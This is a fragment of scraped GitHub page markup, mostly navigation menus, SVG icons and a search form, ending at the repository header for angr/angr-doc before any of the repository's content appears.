1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="40329995" data-scoped-search-url="/angr/angr-doc/search" data-owner-scoped-search-url="/orgs/angr/search" data-unscoped-search-url="/search" data-turbo="false" action="/angr/angr-doc/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="LbeYrb+u7nKypCHfqFzuQpBeBC6CYeuDczoqCdNZdEc7nfQgaf8/QNMiyTJokfTxhTfCQzouL3m6geLsq0mzmg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> angr </span> <span>/</span> angr-doc <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>386</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>813</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 